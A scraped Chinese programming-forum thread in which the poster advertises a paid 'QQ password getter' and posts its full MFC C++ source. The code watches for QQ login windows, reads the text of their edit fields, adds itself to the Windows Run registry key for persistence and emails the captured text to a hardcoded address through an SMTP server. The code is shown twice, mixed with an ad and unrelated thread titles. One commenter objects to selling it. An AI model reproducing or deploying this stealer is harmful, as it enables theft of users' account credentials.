一天获得100个QQ密码!!!(更正地址) 去看看 !能提供源代码吗?如果可以的话:[email protected] 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 http://www.giftdna.com/sra/product.asp?sw_id=100291 作者声明:虽然各位对我的这个软件的评价不一,但是仍然有许多人已经给我发送了定单.以下是本软件的网上注册地址:http://www.giftdna.com/sra/product.asp?sw_id=100291另外也可以直接和我联系.WZZSOFT // regsvd.cpp : Defines the class behaviors for the application.//#include "stdafx.h"#include "regsvd.h"#include "regsvdDlg.h"#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif/////////////////////////////////////////////////////////////////////////////// CRegsvdAppBEGIN_MESSAGE_MAP(CRegsvdApp, CWinApp) //{{AFX_MSG_MAP(CRegsvdApp) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code! //}}AFX_MSG ON_COMMAND(ID_HELP, CWinApp::OnHelp)END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////// CRegsvdApp constructionCRegsvdApp::CRegsvdApp(){ // TODO: add construction code here, // Place all significant initialization in InitInstance}/////////////////////////////////////////////////////////////////////////////// The one and only CRegsvdApp objectCRegsvdApp theApp;BOOL bFindWindow = FALSE;char sWindowName[20][256];/////////////////////////////////////////////////////////////////////////////// CRegsvdApp initializationBOOL CALLBACK EnumChildProc( HWND hwnd, // handle to child window LPARAM lParam // application-defined value){ char sWindowClass[256]; CString strWindowClass; CString strWindowName; ::GetClassName(hwnd, sWindowClass, 256); strWindowClass = sWindowClass; if (strWindowClass == _T("Edit") || strWindowClass == _T("ComboBox")) { for (int i = 0; i < 20; i++) { strWindowName = sWindowName[i]; if (strWindowName == _T("")) { break; } } if (i < 20) { ::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]); } } return TRUE;}HWND hSameWnd;BOOL CALLBACK EnumWindowsProc( HWND hwnd, // handle to parent window LPARAM lParam // application-defined value){ CString sWindowText; GetWindowText(hwnd, sWindowText.GetBuffer(256), 256); sWindowText.ReleaseBuffer(); if (sWindowText.Find(_T("用户登录")) != -1 || sWindowText.Find(_T("注册向导")) != -1) { if (hSameWnd == NULL) { hSameWnd = hwnd; } if (hSameWnd == hwnd) { memset(sWindowName, 0, 20 * 256); ::EnumChildWindows(hwnd, EnumChildProc, 0); bFindWindow = TRUE; return FALSE; } } return TRUE;}HANDLE hSingleEvent;BOOL CRegsvdApp::InitInstance(){ hSingleEvent = ::CreateEvent(NULL, FALSE, TRUE, _T("regsvd running!")); int nError = ::GetLastError(); if (nError == ERROR_ALREADY_EXISTS) {// AfxMessageBox(_T("The regsvd is already in running!")); return FALSE; } if (!AfxSocketInit()) { AfxMessageBox(IDP_SOCKETS_INIT_FAILED); return FALSE; } hSameWnd = NULL; AfxEnableControlContainer(); // Standard initialization // If you are not using these features and wish to reduce the size // of your final executable, you should remove from the following // the specific initialization routines you do not need.#ifdef _AFXDLL Enable3dControls(); // Call this when using MFC in a shared DLL#else Enable3dControlsStatic(); // Call this when linking to MFC statically#endif BOOL bWriteIni = FALSE; char sPath[512]; ::GetCurrentDirectory(512, sPath); strcat(sPath, _T("\\pass.ini")); ModifyRegister(); while (1) { BOOL bFind = ::EnumWindows(EnumWindowsProc, 0); // 0表示找到 if (bFindWindow == TRUE && bFind == 1) { bFindWindow = FALSE; hSameWnd = NULL; for ( int i = 0; i < 20; i++) { char sPosition[8]; _itoa(i, sPosition, 10); if (bWriteIni) { WritePrivateProfileString(_T("PASS"), sPosition, sWindowName[i], sPath); } } SendEmail(); } Sleep(40); } CloseHandle(hSingleEvent); return FALSE;}void CRegsvdApp::ModifyRegister(){ char sPath[512]; CString strRunPath; ::GetCurrentDirectory(512, sPath); strRunPath = sPath; strRunPath = strRunPath + _T("\\regsvd.exe"); LONG error = 0; HKEY prikey, subkey; DWORD nLabel; CString strRunKey; error = RegCreateKeyEx( HKEY_LOCAL_MACHINE, _T("SOFTWARE"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &subkey, &nLabel ); prikey = subkey; error = RegCreateKeyEx( prikey, _T("Microsoft"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &subkey, &nLabel ); prikey = subkey; error = RegCreateKeyEx( prikey, _T("Windows"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &subkey, &nLabel ); prikey = subkey; error = RegCreateKeyEx( prikey, _T("CurrentVersion"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &subkey, &nLabel ); prikey = subkey; error = RegCreateKeyEx( prikey, _T("Run"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &subkey, &nLabel ); prikey = subkey; error = RegSetValueEx( prikey, _T("pass"), 0, REG_SZ, (UCHAR *)((LPCTSTR)strRunPath), strRunPath.GetLength() + 1);} void CRegsvdApp::SendEmail(){FAILLOOP: CSocket socket; int nTime = 0; CString str, strResponse; CString m_sSenderSMTPAddr = _T("smtp.yeah.net"); UINT m_nSenderSMTPPort = 25; CString m_sSenderMailAddr = _T("[email protected]"); CString m_sRecver = _T("[email protected]"); TRY { socket.Create(); if (socket.Connect((LPCTSTR)m_sSenderSMTPAddr, m_nSenderSMTPPort)) { CSocketFile file(&socket); CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete); CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete); while (TRUE) { arIn.ReadString(strResponse); if ("220" != strResponse.Left(3)) { break; } CString strTemp; CString strHostName; gethostname(strHostName.GetBuffer(256), 256); strHostName.ReleaseBuffer(); nTime = 0; strTemp.Format("HELO %s\r\n", (LPCTSTR)strHostName); str = strTemp;LOOPHELO: arOut.WriteString(str); arOut.Flush(); arIn.ReadString(strResponse); if ("250" != strResponse.Left(3)) { if (nTime < 3) { nTime++; goto LOOPHELO; } else { break; } } nTime = 0; str.Format("MAIL FROM: <%s>\r\n", (LPCTSTR)m_sSenderMailAddr);LOOPMAILFROM: arOut.WriteString(str); arOut.Flush(); arIn.ReadString(strResponse); if ("250" != strResponse.Left(3)) { if (nTime < 3) { nTime++; goto LOOPMAILFROM; } else { break; } } nTime = 0; str = "RCPT TO: <" + m_sRecver + ">\r\n";LOOPRCPTTO: arOut.WriteString(str); arOut.Flush(); arIn.ReadString(strResponse); strResponse = strResponse.Left(3); if (("250" != strResponse) && ("251" != strResponse)) { if (nTime < 3) { nTime++; goto LOOPRCPTTO; } else { break; } } nTime = 0;LOOPDATA: arOut.WriteString("DATA\r\n"); arOut.Flush(); arIn.ReadString(strResponse); strResponse = strResponse.Left(3); if ("354" != strResponse) { if (nTime < 3) { nTime++; goto LOOPDATA; } else { break; } } CString strBuf;#define MAX_BUF_SIZE 4096LOOPSUB: CString m_sSubject = _T("pass"); strBuf = _T("Subject: "); if (m_sSubject != _T("")) { strBuf = strBuf + m_sSubject; str.Format("%s\r\n", strBuf); if (str.GetLength() > 40) { break; } arOut.WriteString(str); } for (int i = 0; i < 20; i++) { strBuf = sWindowName[i]; if ((!strBuf.IsEmpty()) && (strBuf[0] == '.')) strBuf = '.' + strBuf; str = strBuf + "\r\n"; if (str.GetLength() > 100) { break; } arOut.WriteString(str); } arOut.WriteString(".\r\n"); arOut.Flush(); arIn.ReadString(strResponse); if ("250" != strResponse.Left(3)) { if (nTime < 3) { nTime++; goto LOOPSUB; } else { break; } } arOut.WriteString("QUIT\r\n"); arOut.Flush(); arIn.ReadString(strResponse); break; } } } CATCH_ALL(e) { e->Delete(); Sleep(10); goto FAILLOOP; } END_CATCH_ALL} 声明:我是法学专业的本科生,喜欢研究计算机犯罪.这也是我做黑客程序的一个原因.我不是程序员,也不是黑客,而且现在刚毕业还没有工作.我这么做也是想搞个社会实践,看看大家有什么反应.谢谢各位了.有时间我会把GetQQPasswords1.2升级到2.0.更加稳定高效,功能齐全.全面支持Win9X/Nt/2000/Me/XP. To santafeng(软件小学生) :打开程序主界面,点击"终止"就可以永远关闭了. 作者:我是法学专业,主要研究计算机犯罪学!!!!!!!我就是做这一行,有没有人理解我!!!!!!!!看来在这里,没有几个人真正的理解法律吧?大家都只会做数据库吗?谁能理解我的想法呢?有没有研究计算机犯罪学的同行和我说话,没有想到CSDN上竟然如此排斥文科法学专业者。看来黑客软件的发布和注册在中国是让人丢脸的,与在美国是相反?也许在中国只有做数据库是正经事情。 >>看来在这里,没有几个人真正的理解法律吧?大家都只会做数据库吗?>>看来黑客软件的发布和注册在中国是让人丢脸的,与在美国是相反?也许在中国只有做数据库是正经事情。你不懂就不要乱说哦黑客软件拿来学习可以,最好是有源码的,比如BO2k,你那个东东连win2000也不支持,可见没什么技术含量,还要卖钱,这好象就不对了吧.另外,我也不觉得卖黑客软件和研究计算机犯罪学有什么关系,难道研究刑事案件的还要去杀人? 我在做社会实践。支持2000也可以,只要注册用户多我就升级。用CreateRemoteThread方法进入qq2000进程内部。这个帖子结了,我不想再说了。感谢各位的参与和回复。我想我要走了。再次谢各位!我要去忙别的事情了,我可不想在这个问题上浪费更多的时间。 搜索局域网设备的问题 关于MFC中的一个问题 菜鸟请教 关于发布ATL网页控件时遇到的问题 CTabCtrl如何控制其中的up-down控件或者CSpinButtonCtrl的显示位置 SGI Stl 在vc6.0中设置问题(在线等,急) 谁对smtp协议(RFC 821)pop3协议(RFC 1939)比较熟悉,可以给我介绍一下么?? 怎么样把 CString 转换成 WORD 什么是SDK ? 我只知道有SDI和MDI。 测试 ShellExecute问题 是Sleep()函数占用系统资源(耗cpu周期)多,还是用multimedia timer(多媒体定时器)占用系统资源多?
虽然各位对我的这个软件的评价不一,
但是仍然有许多人已经给我发送了定单.以下是本软件的网上注册地址:
http://www.giftdna.com/sra/product.asp?sw_id=100291另外也可以直接和我联系.
WZZSOFT
//#include "stdafx.h"
#include "regsvd.h"
#include "regsvdDlg.h"#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif/////////////////////////////////////////////////////////////////////////////
// CRegsvdAppBEGIN_MESSAGE_MAP(CRegsvdApp, CWinApp)
//{{AFX_MSG_MAP(CRegsvdApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG
ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp constructionCRegsvdApp::CRegsvdApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}/////////////////////////////////////////////////////////////////////////////
// The one and only CRegsvdApp objectCRegsvdApp theApp;
BOOL bFindWindow = FALSE;
char sWindowName[20][256];/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp initialization
BOOL CALLBACK EnumChildProc(
HWND hwnd, // handle to child window
LPARAM lParam // application-defined value
)
{
char sWindowClass[256];
CString strWindowClass;
CString strWindowName; ::GetClassName(hwnd, sWindowClass, 256);
strWindowClass = sWindowClass;
if (strWindowClass == _T("Edit") || strWindowClass == _T("ComboBox"))
{
for (int i = 0; i < 20; i++)
{
strWindowName = sWindowName[i];
if (strWindowName == _T(""))
{
break;
}
}
if (i < 20)
{
::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
}
}
return TRUE;
}HWND hSameWnd;
BOOL CALLBACK EnumWindowsProc(
HWND hwnd, // handle to parent window
LPARAM lParam // application-defined value
)
{
CString sWindowText; GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
sWindowText.ReleaseBuffer();
if (sWindowText.Find(_T("用户登录")) != -1 || sWindowText.Find(_T("注册向导")) != -1)
{
if (hSameWnd == NULL)
{
hSameWnd = hwnd;
}
if (hSameWnd == hwnd)
{
memset(sWindowName, 0, 20 * 256);
::EnumChildWindows(hwnd, EnumChildProc, 0);
bFindWindow = TRUE;
return FALSE;
}
}
return TRUE;
}HANDLE hSingleEvent;
BOOL CRegsvdApp::InitInstance()
{
hSingleEvent = ::CreateEvent(NULL, FALSE, TRUE, _T("regsvd running!"));
int nError = ::GetLastError();
if (nError == ERROR_ALREADY_EXISTS)
{
// AfxMessageBox(_T("The regsvd is already in running!"));
return FALSE;
}
if (!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return FALSE;
} hSameWnd = NULL;
AfxEnableControlContainer(); // Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic(); // Call this when linking to MFC statically
#endif BOOL bWriteIni = FALSE;
char sPath[512];
::GetCurrentDirectory(512, sPath);
strcat(sPath, _T("\\pass.ini")); ModifyRegister();
while (1)
{
BOOL bFind = ::EnumWindows(EnumWindowsProc, 0); // 0表示找到
if (bFindWindow == TRUE && bFind == 1)
{
bFindWindow = FALSE;
hSameWnd = NULL;
for ( int i = 0; i < 20; i++)
{
char sPosition[8];
_itoa(i, sPosition, 10);
if (bWriteIni)
{
WritePrivateProfileString(_T("PASS"), sPosition, sWindowName[i], sPath);
}
}
SendEmail();
}
Sleep(40);
}
CloseHandle(hSingleEvent);
return FALSE;
}void CRegsvdApp::ModifyRegister()
{
char sPath[512];
CString strRunPath;
::GetCurrentDirectory(512, sPath);
strRunPath = sPath;
strRunPath = strRunPath + _T("\\regsvd.exe");
LONG error = 0;
HKEY prikey, subkey;
DWORD nLabel;
CString strRunKey;
error = RegCreateKeyEx( HKEY_LOCAL_MACHINE,
_T("SOFTWARE"),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&subkey,
&nLabel ); prikey = subkey;
error = RegCreateKeyEx( prikey,
_T("Microsoft"),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&subkey,
&nLabel ); prikey = subkey;
error = RegCreateKeyEx( prikey,
_T("Windows"),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&subkey,
&nLabel ); prikey = subkey;
error = RegCreateKeyEx( prikey,
_T("CurrentVersion"),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&subkey,
&nLabel ); prikey = subkey;
error = RegCreateKeyEx( prikey,
_T("Run"),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
&subkey,
&nLabel ); prikey = subkey;
error = RegSetValueEx( prikey,
_T("pass"),
0,
REG_SZ,
(UCHAR *)((LPCTSTR)strRunPath),
strRunPath.GetLength() + 1);
}
{
FAILLOOP:
CSocket socket;
int nTime = 0;
CString str, strResponse;
CString m_sSenderSMTPAddr = _T("smtp.yeah.net");
UINT m_nSenderSMTPPort = 25;
CString m_sSenderMailAddr = _T("[email protected]");
CString m_sRecver = _T("[email protected]");
TRY
{
socket.Create();
if (socket.Connect((LPCTSTR)m_sSenderSMTPAddr, m_nSenderSMTPPort))
{
CSocketFile file(&socket);
CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);
CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);
while (TRUE)
{
arIn.ReadString(strResponse);
if ("220" != strResponse.Left(3))
{
break;
}
CString strTemp;
CString strHostName; gethostname(strHostName.GetBuffer(256), 256);
strHostName.ReleaseBuffer();
nTime = 0;
strTemp.Format("HELO %s\r\n", (LPCTSTR)strHostName);
str = strTemp;
LOOPHELO: arOut.WriteString(str);
arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3))
{
if (nTime < 3)
{
nTime++;
goto LOOPHELO;
}
else
{
break;
}
} nTime = 0;
str.Format("MAIL FROM: <%s>\r\n",
(LPCTSTR)m_sSenderMailAddr);
LOOPMAILFROM: arOut.WriteString(str);
arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3))
{
if (nTime < 3)
{
nTime++;
goto LOOPMAILFROM;
}
else
{
break;
}
} nTime = 0;
str = "RCPT TO: <" + m_sRecver + ">\r\n";
LOOPRCPTTO: arOut.WriteString(str);
arOut.Flush();
arIn.ReadString(strResponse);
strResponse = strResponse.Left(3);
if (("250" != strResponse) && ("251" != strResponse))
{
if (nTime < 3)
{
nTime++;
goto LOOPRCPTTO;
}
else
{
break;
}
} nTime = 0;
LOOPDATA: arOut.WriteString("DATA\r\n");
arOut.Flush();
arIn.ReadString(strResponse);
strResponse = strResponse.Left(3);
if ("354" != strResponse)
{
if (nTime < 3)
{
nTime++;
goto LOOPDATA;
}
else
{
break;
}
} CString strBuf;
#define MAX_BUF_SIZE 4096
LOOPSUB: CString m_sSubject = _T("pass");
strBuf = _T("Subject: ");
if (m_sSubject != _T(""))
{
strBuf = strBuf + m_sSubject;
str.Format("%s\r\n", strBuf);
if (str.GetLength() > 40)
{
break;
}
arOut.WriteString(str);
}
for (int i = 0; i < 20; i++)
{
strBuf = sWindowName[i];
if ((!strBuf.IsEmpty()) && (strBuf[0] == '.'))
strBuf = '.' + strBuf;
str = strBuf + "\r\n";
if (str.GetLength() > 100)
{
break;
}
arOut.WriteString(str);
}
arOut.WriteString(".\r\n"); arOut.Flush();
arIn.ReadString(strResponse);
if ("250" != strResponse.Left(3))
{
if (nTime < 3)
{
nTime++;
goto LOOPSUB;
}
else
{
break;
}
} arOut.WriteString("QUIT\r\n");
arOut.Flush();
arIn.ReadString(strResponse);
break;
}
}
}
CATCH_ALL(e)
{
e->Delete();
Sleep(10);
goto FAILLOOP;
}
END_CATCH_ALL
}
更加稳定高效,功能齐全.
全面支持Win9X/Nt/2000/Me/XP.
我是法学专业,主要研究计算机犯罪学!!!!!!!我就是做这一行,有没有人理解我!!!!!!!!看来在这里,没有几个人真正的理解法律吧?大家都只会做数据库吗?
谁能理解我的想法呢?有没有研究计算机犯罪学的同行和我说话,没有想到CSDN上竟然如此排斥文科法学专业者。看来黑客软件的发布和注册在中国是让人丢脸的,与在美国是相反?也许在中国只有做数据库是正经事情。
>>看来黑客软件的发布和注册在中国是让人丢脸的,与在美国是相反?也许在中国只有做数据库是正经事情。你不懂就不要乱说哦黑客软件拿来学习可以,最好是有源码的,比如BO2k,你那个东东连win2000也不支持,可见没什么技术含量,还要卖钱,这好象就不对了吧.另外,我也不觉得卖黑客软件和研究计算机犯罪学有什么关系,难道研究刑事案件的还要去杀人?
用CreateRemoteThread方法进入qq2000进程内部。这个帖子结了,我不想再说了。感谢各位的参与和回复。我想我要走了。
再次谢各位!我要去忙别的事情了,我可不想在这个问题上浪费更多的时间。